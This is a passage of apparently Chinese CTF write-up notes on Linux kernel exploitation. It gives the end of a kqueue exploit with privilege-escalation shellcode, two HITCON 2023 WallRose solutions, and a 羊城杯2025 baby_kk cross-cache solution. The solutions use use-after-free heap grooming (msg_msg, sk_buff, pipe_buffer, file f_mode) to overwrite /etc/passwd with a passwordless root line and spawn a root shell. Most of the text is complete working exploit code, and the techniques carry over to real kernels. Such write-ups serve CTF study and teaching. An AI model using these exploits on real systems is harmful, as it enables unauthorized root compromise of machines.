ioctl(fd,0xDEADC0DE,&myinput);
printf("[*] create kqueue done !\n");
return 0;
}
int destroy_kqueue(int fd, int max, int idx){
myinput.max_entries = max;
myinput.queue_idx = idx;
ioctl(fd,0xBADDCAFE,&myinput);
printf("[*] create kqueue done !\n");
return 0;
}
int edit_kqueue(int fd, int max, int idx, char *Data){
myinput.queue_idx = idx;
myinput.data = Data;
myinput.max_entries = max;
ioctl(fd,0xDAADEEEE,&myinput);
printf("[*] edit kqueue done !\n");
return 0;
}
int save_kqueue_entries(int fd, int idx){
myinput.queue_idx = idx;
myinput.max_entries = 0;
myinput.data_size = 0x40;
ioctl(fd,0xB105BABE,&myinput);
return 0;
}
size_t spawn_shell1;
void shellcode(void) //kaslr
{
__asm__(
"mov r12, [rsp + 0x8];"
"sub r12, 0x201179;"
"mov r13, r12;"
"add r12, 0x8c580;" // prepare_kernel_cred
"add r13, 0x8c140;" // commit_creds
"xor rdi, rdi;"
"call r12;"
"mov rdi, rax;"
"call r13;"
"swapgs;"
"mov r14, user_ss;"
"push r14;"
"mov r14, user_sp;"
"add r14, 8;"
"push r14;"
"mov r14, user_rflags;"
"push r14;"
"mov r14, user_cs;"
"push r14;"
"mov r14, spawn_shell1;"
"push r14;"
"iretq;"
);
}
int main()
{
save_status();
int fd = open("/dev/kqueue", 2);
if(fd < 0)
{
puts("[*]open file error!");
exit(0);
}
create_kqueue(fd, 0xffffffff, 8*0x20);
spawn_shell1 = (size_t) spawn_shell;
char *mydata = malloc(0x80);
for(int i = 0;i<0x100/8;i++) *((size_t *)mydata+i) = (size_t)shellcode;
//spray seq
long seq_fd[0x200];
for (int i = 0; i < 0x100; i++)
seq_fd[i] = open("/proc/self/stat", O_RDONLY);
edit_kqueue(fd, 0xffffffff, 0x0, mydata);
save_kqueue_entries(fd, 0); //debug
for (int i = 0; i < 0x100; i++){
read(seq_fd[i], mydata, 1);
close(seq_fd[i]);
}
return 0;
}

HITCON CTF 2023 WallRose [solution1]
附一下题目源码,因为这个题打算用多种打法分别打打。
#include <linux/atomic.h>
#include <linux/device.h>
#include <linux/fs.h>
#include <linux/init.h>
#include <linux/kernel.h>
#include <linux/miscdevice.h>
#include <linux/module.h>
#include <linux/slab.h>
#include <linux/uaccess.h>
#include <asm/errno.h>
#include <linux/printk.h>
#define MAX_DATA_HEIGHT 0x400
MODULE_AUTHOR("wxrdnx");
MODULE_LICENSE("GPL");
MODULE_DESCRIPTION("Wall Rose");
static char *data;
static int rose_open(struct inode *inode, struct file *file) {
data = kmalloc(MAX_DATA_HEIGHT, GFP_KERNEL);
if (!data) {
printk(KERN_ERR "Wall Rose: kmalloc error\n");
return -1;
}
memset(data, 0, MAX_DATA_HEIGHT);
return 0;
}
static int rose_release(struct inode *inode, struct file *file) {
kfree(data);
return 0;
}
static ssize_t rose_read(struct file *filp, char __user *buffer, size_t length, loff_t *offset) {
pr_info("Wall Rose: data dropped");
return 0;
}
static ssize_t rose_write(struct file *filp, const char __user *buffer, size_t length, loff_t *offset) {
pr_info("Wall Rose: data dropped");
return 0;
}
static struct file_operations rose_fops = {
.owner = THIS_MODULE,
.open = rose_open,
.release = rose_release,
.read = rose_read,
.write = rose_write,
};
static struct miscdevice rose_device = {
.minor = MISC_DYNAMIC_MINOR,
.name = "rose",
.fops = &rose_fops,
};
static int __init rose_init(void) {
return misc_register(&rose_device);
}
static void __exit rose_exit(void) {
misc_deregister(&rose_device);
}
module_init(rose_init);
module_exit(rose_exit);
第一种打法是 pipe_buffer + msg_msg uaf ,很经典的两个kernel pwn structure了
这题真是做si我了qwq
有可能是好久没写exploit的原因,也有第一次调试FG-Kaslr的原因。首先FG-Kaslr是用b rose_release断不上的,一切都得先跑起来去kallsyms里面找运行地址然后断,像下面这样~
~ # echo 0 > /proc/sys/kernel/kptr_restrict
~ # cat /proc/kallsyms | grep rose_release
ffffffffc0000060 t rose_release [rose]
ffffffffc0000050 t __pfx_rose_release [rose]
还有一个比较难受得点是没法用kpipe
gef> kpipe
[+] Wait for memory scan
[+] Nothing to dump
所以基本上来说很难调试,而且有个很搞的点是第一个打pipe和msg_msg的组合,msgsnd的内容直接把pipebuffer已有的内容给覆盖了,导致当时看了半天。所以类似splice(passwd, &offset_in_file, pipe_fd[1], NULL, 1, 0);这样的东西,还是放在msg和pipe都分配完成之后比较合适,同样地,为了防止msgHeader(0x30)覆盖pipebuffer,一般也会在分配msg前write(pipe_fd[1], tmp, 0x1000);两次,在头部切出0x50的空间。
#define _GNU_SOURCE
#include <stdio.h>
#include <sys/stat.h>
#include <stdlib.h>
#include <linux/types.h>
#include <errno.h>
#include <fcntl.h>
#include <unistd.h>
#include <assert.h>
#include <stdint.h>
#include <ctype.h>
#include <sys/msg.h>
#include <string.h>
#include <inttypes.h>
#include <sys/types.h>
#define PIPE_BUF_FLAG_CAN_MERGE 0x10
#define BufferSize 0x400
#ifndef MSG_COPY
#define MSG_COPY 040000
#endif
void print_hex_buffer(const void *buffer, size_t size) {
const unsigned char *data = (const unsigned char *)buffer;
size_t i, j;
if (buffer == NULL || size == 0) {
printf("[!] Buffer is NULL or size is 0.\n");
return;
}
printf("Dumping %zu bytes from %p:\n", size, buffer);
printf("--------------------------------------------------------------------\n");
for (i = 0; i < size; i += 16) {
printf("0x%08zx | ", i);
for (j = 0; j < 16; j++) {
if (i + j < size) {
printf("%02x ", data[i + j]);
} else {
printf(" ");
}
}
printf("| ");
for (j = 0; j < 16; j++) {
if (i + j < size) {
if (isprint(data[i + j])) {
printf("%c", data[i + j]);
} else {
printf(".");
}
} else {
printf(" ");
}
}
printf("\n");
}
printf("--------------------------------------------------------------------\n");
}
struct msgbuf1 {
long mtype;
char mtext[BufferSize - 0x30-1];
};
int get_msg_queue(void)
{
return msgget(IPC_PRIVATE, 0666 | IPC_CREAT);
}
ssize_t read_msg(int msqid, void *msgp, size_t msgsz, long msgtyp)
{
return msgrcv(msqid, msgp, msgsz, msgtyp, 0);
}
/**
* the msgp should be a pointer to the `struct msgbuf`,
* and the data should be stored in msgbuf.mtext
*/
ssize_t write_msg(int msqid, void *msgp, size_t msgsz, long msgtyp)
{
((struct msgbuf*)msgp)->mtype = msgtyp;
return msgsnd(msqid, msgp, msgsz, 0);
}
/* for MSG_COPY, `msgtyp` means to read no.msgtyp msg_msg on the queue */
ssize_t peek_msg(int msqid, void *msgp, size_t msgsz, long msgtyp)
{
return msgrcv(msqid, msgp, msgsz, msgtyp,
MSG_COPY | IPC_NOWAIT | MSG_NOERROR);
}
void Exploit(){
int roseFd1;
int roseFd2;
int roseFd3;
int pipe_fd[2];
int pipe_size;
char buffer1[0x400]={0};
size_t offset_in_file = 1;
int passwd = open("etc/passwd",O_RDONLY);
if (passwd < 0) {
perror("open passwd");
exit(0);
}
roseFd1 = open("/dev/rose",O_RDWR);
roseFd2 = open("/dev/rose",O_RDWR);
roseFd3 = open("/dev/rose",O_RDWR);
close(roseFd1);//
puts("\033[34m\033[1m[*] 1 : Starting Uaf the victim obj 2 pipe buffer~.\033[0m");
pipe(pipe_fd);
char tmp[0x1000];
memset(tmp, 'A', 0x1000);
write(pipe_fd[1], tmp, 0x1000);
write(pipe_fd[1], tmp, 0x1000); //0x0 -- 0x50
puts("\033[34m\033[1m[*] 2 : Starting Uaf the victim obj 2 MsgMsg~.\033[0m");
int msqid = get_msg_queue();
struct msgbuf1 MyMsg;
memset(MyMsg.mtext, 0, sizeof(MyMsg.mtext));
close(roseFd3);//
write_msg(msqid, &MyMsg, sizeof(MyMsg.mtext), 1);
printf("[+] Start Splice_read File Page.\r\n");
splice(passwd, &offset_in_file, pipe_fd[1], NULL, 1, 0); //important
read_msg(msqid, buffer1, sizeof(MyMsg.mtext), 1);
print_hex_buffer(buffer1,0x60);
*(size_t *)(buffer1+0x40) = (size_t)PIPE_BUF_FLAG_CAN_MERGE;
*(size_t *)(buffer1+0x30) = (size_t) 0;
memcpy(MyMsg.mtext-8,buffer1,0x400-0x30);
write_msg(msqid, &MyMsg, sizeof(MyMsg.mtext), 1);
char shellcode[0x20] = "root::0:0::/root:/bin/sh\n\n\x00";
int retval = write(pipe_fd[1], &shellcode, sizeof(shellcode));
char result[0x100];
read(passwd, result, 0x100);
printf("Overwritten /etc/passwd:\n");
printf("%s", result);
return;
}

HITCON CTF 2023 WallRose [solution2]
sk_buff + pipebuffer
还是sk_buff好用:)
/***
/home/user # uname -a
Linux (none) 6.1.0-rc1-g62e9ca566070-dirty #1 SMP PREEMPT_DYNAMIC Sun Jul 30 21:41:48 CST 2023 x86_64 GNU/Linux
*/
#define _GNU_SOURCE
#include <stdio.h>
#include <sys/stat.h>
#include <stdlib.h>
#include <linux/types.h>
#include <errno.h>
#include <fcntl.h>
#include <unistd.h>
#include <assert.h>
#include <stdint.h>
#include <ctype.h>
#include <sys/socket.h>
#include <sys/un.h>
#include <unistd.h>
#include <sys/msg.h>
#include <string.h>
#include <inttypes.h>
#include <sys/types.h>
#define PIPE_BUF_FLAG_CAN_MERGE 0x10
#define BufferSize 0x400
#ifndef MSG_COPY
#define MSG_COPY 040000
#endif
void print_hex_buffer(const void *buffer, size_t size) {
const unsigned char *data = (const unsigned char *)buffer;
size_t i, j;
if (buffer == NULL || size == 0) {
printf("[!] Buffer is NULL or size is 0.\n");
return;
}
printf("Dumping %zu bytes from %p:\n", size, buffer);
printf("--------------------------------------------------------------------\n");
for (i = 0; i < size; i += 16) {
printf("0x%08zx | ", i);
for (j = 0; j < 16; j++) {
if (i + j < size) {
printf("%02x ", data[i + j]);
} else {
printf(" ");
}
}
printf("| ");
for (j = 0; j < 16; j++) {
if (i + j < size) {
if (isprint(data[i + j])) {
printf("%c", data[i + j]);
} else {
printf(".");
}
} else {
printf(" ");
}
}
printf("\n");
}
printf("--------------------------------------------------------------------\n");
}
#define SOCKET_NUM 1
#define SK_BUFF_NUM 1
/**
* socket's definition should be like:
* int sk_sockets[SOCKET_NUM][2];
*/
int init_socket_array(int sk_socket[SOCKET_NUM][2])
{
/* socket pairs to spray sk_buff */
for (int i = 0; i < SOCKET_NUM; i++) {
if (socketpair(AF_UNIX, SOCK_STREAM, 0, sk_socket[i]) < 0) {
printf("[x] failed to create no.%d socket pair!\n", i);
return -1;
}
}
return 0;
}
//usage:spray_sk_buff(sock_fd, buf, sizeof(buf))
int spray_sk_buff(int sk_socket[SOCKET_NUM][2], void *buf, size_t size)
{
for (int i = 0; i < SOCKET_NUM; i++) {
for (int j = 0; j < SK_BUFF_NUM; j++) {
if (write(sk_socket[i][0], buf, size) < 0) {
printf("[x] failed to spray %d sk_buff for %d socket!", j, i);
return -1;
}
}
}
return 0;
}
//usage:free_sk_buff(sock_fd, buf, sizeof(buf))
int free_sk_buff(int sk_socket[SOCKET_NUM][2], void *buf, size_t size)
{
for (int i = 0; i < SOCKET_NUM; i++) {
for (int j = 0; j < SK_BUFF_NUM; j++) {
if (read(sk_socket[i][1], buf, size) < 0) {
puts("[x] failed to received sk_buff!");
return -1;
}
print_hex_buffer(buf, 0x40);
}
}
return 0;
}
void Exploit(){
int roseFd1;
int roseFd2;
int roseFd3;
int pipe_fd[2];
int pipe_size;
char buffer1[0x400]={0};
size_t offset_in_file = 1;
int passwd = open("etc/passwd",O_RDONLY);
if (passwd < 0) {
perror("open passwd");
exit(0);
}
roseFd1 = open("/dev/rose",O_RDWR);
roseFd2 = open("/dev/rose",O_RDWR);
roseFd3 = open("/dev/rose",O_RDWR);
close(roseFd1);//
puts("\033[34m\033[1m[*] 1 : Starting Uaf the victim obj 2 pipe buffer~.\033[0m");
pipe(pipe_fd);
puts("\033[34m\033[1m[*] 2 : Starting Uaf the victim obj 2 Sk_buffer~.\033[0m");
int sk_sockets[SOCKET_NUM][2];
init_socket_array(sk_sockets);
close(roseFd2);//
spray_sk_buff(sk_sockets, buffer1, 1024-320);
splice(passwd, &offset_in_file, pipe_fd[1], NULL, 1, 0);
free_sk_buff(sk_sockets, buffer1, 1024-320);
*(size_t *)(buffer1+0x18) = PIPE_BUF_FLAG_CAN_MERGE;
*(size_t *)(buffer1+0x8) = 0;
spray_sk_buff(sk_sockets, buffer1, 1024-320);
char shellcode[0x20] = "root::0:0::/root:/bin/sh\n\n\x00";
int retval = write(pipe_fd[1], &shellcode, sizeof(shellcode));
char result[0x100];
read(passwd, result, 0x100);
printf("Overwritten /etc/passwd:\n");
printf("%s", result);
return;
}
int main(){
Exploit();
puts("\033[32m\033[1m[+] EXPLOIT DONE!\n[+] RUN $su TO GET PRIVILIGE!\033[0m");
system("/bin/sh");
return 0;
}
羊城杯2025-baby_kk[复现]
//0x1111 allocated
if ( v40 <= 0x4FF && v39 <= 0x100 )
{
if ( allocated[32 * v40] )
{
v6 = -16LL;
goto LABEL_10;
}
v13 = _kmalloc_cache_noprof(
kmalloc_caches[14 * ((0x61C8864680B583EBLL * (random_kmalloc_seed ^ retaddr)) >> 60) + 8],
3520LL,
256LL); //KMALLOC_RANDOM
v14 = v40;
if ( v40 >= 0x500 )
{
v35 = v13;
_ubsan_handle_out_of_bounds(&off_1DC0, v40);
v13 = v35;
}
heap_list[4 * v14] = v13;
if ( v14 >= 0x500 )
{
v34 = v13;
_ubsan_handle_out_of_bounds(&off_1DA0, v14);
v13 = v34;
}
if ( !v13 )
{
v6 = -12LL;
goto LABEL_10;
}
if ( v14 >= 0x500 )
_ubsan_handle_out_of_bounds(&off_1D80, v14);
qword_2510[4 * v14] = 0LL;
if ( v14 >= 0x500 )
_ubsan_handle_out_of_bounds(&off_1D60, v14);
qword_2508[4 * v14] = 0LL;
if ( v14 >= 0x500 )
_ubsan_handle_out_of_bounds(&off_1D40, v14);
allocated[32 * v14] = 1;
goto LABEL_9;
}
if ( (_DWORD)a2 == 0x2222 )
{
if ( v40 <= 0x4FF )
{
v5 = heap_list[4 * v40];
if ( v5 )
{
if ( allocated[32 * v40] )
{
kfree(v5); // uaf
v21 = v40;
if ( v40 >= 0x500 )
_ubsan_handle_out_of_bounds(&off_1CC0, v40);
allocated[32 * v21] = 0;
}
}
}
打法1(解法来自纯真师傅和a3博客):
init程序的类型:
- SysV: init, CentOS 5之前, 配置文件: /etc/inittab。
- Upstart: init,CentOS 6, 配置文件: /etc/inittab, /etc/init/*.conf。
- Systemd: systemd, CentOS 7,配置文件: /usr/lib/systemd/system、 /etc/systemd/system。
linux开机从POST加电自检开始,当自检完成,读取第一个硬盘的第0个磁头里的前446个字节,运行里面的bootloader,linux一般 用的是grub。通过grub传递参数给内核,初始化加载内核过程,内核调用initrd(小型内存文件系统,五脏俱全,是一个微型linux),通过 initrd,以只读方式挂载根文件系统当根文件系统被挂载后,就会读取并运行/sbin/init来进行初始化工作。按次序依次执行/rc/sysinit ,这个时候会重新以读写的方式挂载根文件系统。读取/etc/rc.d/rcN.d/来启动以s开头的服务,停止以k开头的服务。
我们可以看到 /sbin/init 是 busybox 的一个符号链接, busybox-init 将会使用 /etc/inittab作为启动配置,而busybox将作为pid 1(init)时刻监视着tty。
::sysinit:/etc/init.d/rcS
::askfirst:/bin/ash
::ctrlaltdel:/sbin/reboot
::shutdown:/sbin/swapoff -a
::shutdown:/bin/umount -a -r
::restart:/sbin/init
askfirst表示tty空闲时候init进程会对tty执行的操作,会直接给一个/bin/ash的shell,如果使用下面的脚本即可触发内存回收通过OOM杀死所有运行的进程,从而获得一个/bin/ash的root shell
https://arttnba3.cn/2025/06/04/CTF-0X0A_D3CTF2025_D3KHEAP2_D3KSHRM/#Unintended-Solution
打法2(解法来自Qanux师傅):
由于存在0x100 size的UAF,并且开启了RANDOM_KMALLOC_CACHES,CrossCache成为了这个题目的必然选择。然而由于分配的Victim无法定位,我们只能选择使用一种暴力的CrossMethod:将分配的obj全部释放以触发discard_slabs
然后,我们可以选择使用构造PageUaf的方式,释放一个Page后堆喷File结构体,覆盖其f_mode字段为0x480e801f(因为这个字段在0xC,所以我们需要现在管道读写0xC的数据),从而修改文件对应的权限。
https://blog.inkey.top/202510/13/%E7%BE%8A%E5%9F%8E%E6%9D%AF-2025-%E5%88%9D%E8%B5%9B/#baby-kk
//sudo gcc exp.c -static -masm=intel -g -o exploit
#define _GNU_SOURCE
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <signal.h>
#include <string.h>
#include <stdint.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/ioctl.h>
#include <sched.h>
#include <ctype.h>
#include <pthread.h>
#include <sys/types.h>
#include <sys/sem.h>
#include <semaphore.h>
#include <poll.h>
#include <sys/ipc.h>
#include <sys/msg.h>
#include <sys/shm.h>
#include <sys/wait.h>
#include <linux/keyctl.h>
#include <sys/user.h>
#include <sys/ptrace.h>
#include <stddef.h>
#include <sys/utsname.h>
#include <stdbool.h>
#include <sys/prctl.h>
#include <sys/resource.h>
#include <linux/userfaultfd.h>
#include <sys/socket.h>
#include <asm/ldt.h>
#include <linux/if_packet.h>
#include <sys/uio.h>
#define PIPE_BUF_FLAG_CAN_MERGE 0x10
void print_hex_buffer(const void *buffer, size_t size) {
const unsigned char *data = (const unsigned char *)buffer;
size_t i, j;
if (buffer == NULL || size == 0) {
printf("[!] Buffer is NULL or size is 0.\n");
return;
}
printf("Dumping %zu bytes from %p:\n", size, buffer);
printf("--------------------------------------------------------------------\n");
for (i = 0; i < size; i += 16) {
printf("0x%08zx | ", i);
for (j = 0; j < 16; j++) {
if (i + j < size) {
printf("%02x ", data[i + j]);
} else {
printf(" ");
}
}
printf("| ");
for (j = 0; j < 16; j++) {
if (i + j < size) {
if (isprint(data[i + j])) {
printf("%c", data[i + j]);
} else {
printf(".");
}
} else {
printf(" ");
}
}
printf("\n");
}
printf("--------------------------------------------------------------------\n");
}
char send_buffer[0x18];
void allocate1(int fd, size_t Len, size_t idx){
*((size_t *)(send_buffer+8)) = Len;
*((size_t *)(send_buffer+0x10)) = idx;
ioctl(fd,0x1111,&send_buffer);
}
void free1(int fd, size_t idx){
*((size_t *)(send_buffer+0x10)) = idx;
ioctl(fd,0x2222,&send_buffer);
}
void show1(int fd, char *userPtr, size_t Len, size_t idx){
*((size_t *)send_buffer) = (size_t)userPtr;
*((size_t *)(send_buffer+8)) = Len;
*((size_t *)(send_buffer+0x10)) = idx;
ioctl(fd,0x4444,&send_buffer);
}
int edit(int fd, size_t index, char *data, size_t size) {
*((size_t *)send_buffer) = (size_t)data;
*((size_t *)(send_buffer+8)) = size;
*((size_t *)(send_buffer+0x10)) = index;
return ioctl(fd, 0x3333, &send_buffer);
}
void bind_core(int core){
cpu_set_t cpu_set;
CPU_ZERO(&cpu_set);
CPU_SET(core, &cpu_set);
sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);
printf("\033[34m\033[1m[*] Process binded to core \033[0m%d\n", core);
}
void Exploit(){
int Fd1;
int Fd2;
int pipe_size;
size_t offset_in_file = 1;
bind_core(0);
Fd1 = open("/dev/baby_kk",O_RDWR);
Fd2 = open("/dev/baby_kk",O_RDWR);
#define PIPE_NUM 333
int pipe_fd[PIPE_NUM][2];
for (int i = 0; i < PIPE_NUM; i++)
{
if (pipe(pipe_fd[i]) < 0)
puts("failed to create pipe!");
}
for(int i=0;i<0x4ff;i++) allocate1(Fd1,0x100,i);
printf("[DEBUG] Spray Done!\n");
for(int i=0;i<0x4ff;i++) free1(Fd1,i);
printf("[DEBUG] dele Done!\n");
puts("\033[34m\033[1m[*] 1 : Starting Spray pipe buffer~.\033[0m");
for(int i = 0; i < PIPE_NUM; i++){
int res = fcntl(pipe_fd[i][1], F_SETPIPE_SZ, 0x1000 * 1);
if (res < 0) {
perror("resize pipe");
printf("Error Nums : %d\n",res);
exit(0);
}
uint32_t k = i;
write(pipe_fd[i][1], "Qanux\x00\x00\x00", 8);
write(pipe_fd[i][1], &k, sizeof(uint32_t));
}
puts("\033[34m\033[1m[*] 2 : Starting find the victime objs~.\033[0m");
char *data = malloc(0x100);
memset(data,'\x00',0x100);
for(int j=0;j<0x4ff;j++){
edit(Fd1, j, data, 1);
}
uint32_t k = 0;
int victim;
printf("Try to Find the corrupt ones.\n");
for(int i=0;i<PIPE_NUM;i++){
read(pipe_fd[i][0],data,8);
read(pipe_fd[i][0],&k,sizeof(uint32_t));
if(i<k){
victim = i;
printf("i:%d and res:%d\n",i,k);
break;
}
}
close(pipe_fd[victim][0]);
close(pipe_fd[victim][1]);
int passwd_fd[0x200];
for(int i = 0; i < 0x100; i++){
passwd_fd[i] = open("/etc/passwd", O_RDONLY);
if(passwd_fd[i] < 0){
perror("open file.");
}
}
size_t tmp = 0x480e801f;
write(pipe_fd[k][1], &tmp, 4);
char shellcode1[0x20] = "root::0:0::/root:/bin/sh\n\n\x00";
for(int i = 0; i < 0x100; i++){
int retval = write(passwd_fd[i], shellcode1, sizeof(shellcode1));
if(retval > 0){
puts("write file success.");
break;
}
}
for(int i = 0; i < 0x100; i++){
close(passwd_fd[i]);
}
puts("[+] EXP END.");
char result[0x100];
int passwd = open("/etc/passwd", O_RDONLY);
read(passwd, result, 0x100);
printf("Overwritten /etc/passwd:\n");
printf("%s",result);
puts("[Fini] Good Bye~");
return;
}
int main(){
Exploit();
puts("\033[32m\033[1m[+] EXPLOIT DONE!\n[+] RUN $su TO GET PRIVILIGE!\033[0m");
system("/bin/sh");
return 0;
}

